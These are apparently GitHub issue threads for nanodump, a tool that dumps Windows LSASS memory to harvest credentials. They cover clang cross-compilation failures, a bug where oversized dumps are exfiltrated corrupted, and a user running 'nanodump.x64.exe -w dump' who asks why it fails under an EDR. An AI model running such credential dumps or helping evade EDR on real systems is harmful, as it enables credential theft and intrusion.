What Can I do if there is DUMP_MAX_SIZE warnning?

Compile Environment?

I'm not saying that Makfile.mingw doesn't work; I'm just curious about how to make Makefile.clang work properly. This might go beyond the scope of the project itself, but I am really curious about it.

make -f Makefile.clang
rm -f dist/*
###### RELEASE ######
clang -target x86_64-w64-windows-gnu source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/dinvoke.c source/utils.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/nanodump.x64.exe -Wall -I include -Xclang -DNANO -DEXE -g0
source/nanodump.c:422:11: warning: variable 'number_of_ranges' set but not used [-Wunused-but-set-variable]
    DWORD number_of_ranges = 0;
          ^
1 warning generated.
/usr/bin/ld: cannot find -lgcc: No such file or directory
/usr/bin/ld: cannot find -lgcc_eh: No such file or directory
/usr/bin/ld: cannot find -lgcc: No such file or directory
/usr/bin/ld: cannot find -lgcc_eh: No such file or directory
clang: error: linker command failed with exit code 1 (use -v to see invocation)
make: *** [Makefile.clang:12: nanodump] Error 1



clang -target x86_64-w64-windows-gnu source/spoof_callstack.c source/hw_breakpoint.c source/shtinkering.c source/dinvoke.c source/utils.c source/handle.c source/impersonate.c source/modules.c source/syscalls.c source/token_priv.c source/malseclogon.c source/nanodump.c source/werfault.c source/entry.c -o dist/nanodump.x64.exe -Wall -I include -Xclang -DNANO -DEXE -g0 -v

/.......

End of search list.
 "/usr/bin/ld" -m i386pep -Bdynamic -o dist/nanodump.x64.exe /usr/x86_64-w64-mingw32/lib/crt2.o /usr/x86_64-w64-mingw32/lib/crtbegin.o -L/usr/x86_64-w64-mingw32/lib -L/usr/x86_64-w64-mingw32/mingw/lib -L/usr/lib -L/usr/x86_64-w64-mingw32/sys-root/mingw/lib /tmp/spoof_callstack-3e5e01.o /tmp/hw_breakpoint-8f67b0.o /tmp/shtinkering-0b743d.o /tmp/dinvoke-711304.o /tmp/utils-4758a8.o /tmp/handle-684d22.o /tmp/impersonate-279d84.o /tmp/modules-a153eb.o /tmp/syscalls-32ce70.o /tmp/token_priv-2ea7ed.o /tmp/malseclogon-bbfa28.o /tmp/nanodump-9071b4.o /tmp/werfault-9699fd.o /tmp/entry-964bf4.o -lmingw32 -lgcc -lgcc_eh -lmoldname -lmingwex -lmsvcrt -ladvapi32 -lshell32 -luser32 -lkernel32 -lmingw32 -lgcc -lgcc_eh -lmoldname -lmingwex -lmsvcrt -lkernel32 /usr/x86_64-w64-mingw32/lib/crtend.o
/usr/bin/ld: cannot find -lgcc: No such file or directory
/usr/bin/ld: cannot find -lgcc_eh: No such file or directory
/usr/bin/ld: cannot find -lgcc: No such file or directory
/usr/bin/ld: cannot find -lgcc_eh: No such file or directory
clang: error: linker command failed with exit code 1 (use -v to see invocatio

I noticed that you provide clang in your repository for cross-platform Windows binary compilation. I tried to compile it on my Ubuntu but encountered errors.

I would like to know how you compiled it as I suspect that I might be missing some toolchains and cross-platform libraries. For example, the gcc and gcc_eh cross-platform libraries. I have tried many approaches but still failed to compile successfully. I even tried to replicate this behavior on MSYS2 in Windows, but unfortunately, I still failed.

I realize that I have never understood the cross-platform compilation behavior of clang.

I have been searching for a long time and have not found the correct documentation to solve this question. I realize that clang can provide more help for cross-platform compilation.

I would like to know the answer. Please let me know how you made the Makefile.clang work properly.

No error handling with append() for large dumps, corrupted data returned

Hey, really appreciate the project.

On systems where there's large memory dumps (>DUMP_MAX_SIZE), you get the "dump is too big" errors produced by append() as expected (line ~30 in nanodump.c). However, it doesn't set any state to indicate an error has occurred.

This means you could end up with a load of the dump size errors, and then when it's time to send the data back, it still does (resulting in a lot data being exfiltrated), but it's obviously corrupted as it's not all there so you can't analyse it.

LSASS process not found

I'm using the same exe on the same cloned VM, first one works, second one has an EDR and I get this:

>whoami /all
...
SeDebugPrivilege                Debug programs                            Disabled

>tasklist
...
lsass.exe                      728 Services                   0     16,536 K

>nanodump.x64.exe -w dump
The LSASS process was not found. Are you elevated?

I'm guessing the EDR is doing something, but it has detected nothing, any idea?

p.s. the VM is obviously isolated from internet/cloud